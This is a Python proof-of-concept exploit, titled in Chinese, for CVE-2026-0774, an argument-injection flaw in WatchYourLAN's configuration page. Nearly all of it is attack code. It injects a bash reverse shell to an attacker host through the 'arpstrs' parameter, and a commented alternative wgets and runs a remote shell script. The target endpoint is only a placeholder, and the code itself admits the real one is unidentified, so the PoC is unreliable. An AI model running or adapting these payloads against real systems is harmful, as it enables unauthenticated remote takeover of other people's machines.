CVE-2026-0774 WatchYourLAN配置页面参数注入远程代码执行漏洞

import requests # CVE-2026-0774 PoC - WatchYourLAN Argument Injection RCE # Target: WatchYourLAN configuration page # Vulnerability: Unvalidated arpstrs parameter passed to system call target_url = "http://target:8840" # Default WatchYourLAN port # Payload to execute arbitrary command via arpstrs parameter # Using semicolon to chain commands and reverse shell connection malicious_payload = ";bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1" # Alternative payload using command substitution # malicious_payload = "$(wget http://attacker_ip/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh)" # Construct the exploit request params = { 'arpstrs': malicious_payload } try: # Send the malicious request to the configuration page # No authentication required (PR:N) response = requests.get(f"{target_url}/some/config/endpoint", params=params, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {malicious_payload}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit request completed. Check for reverse shell.") else: print("[-] Unexpected response code") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires identifying the correct endpoint and parameter handling.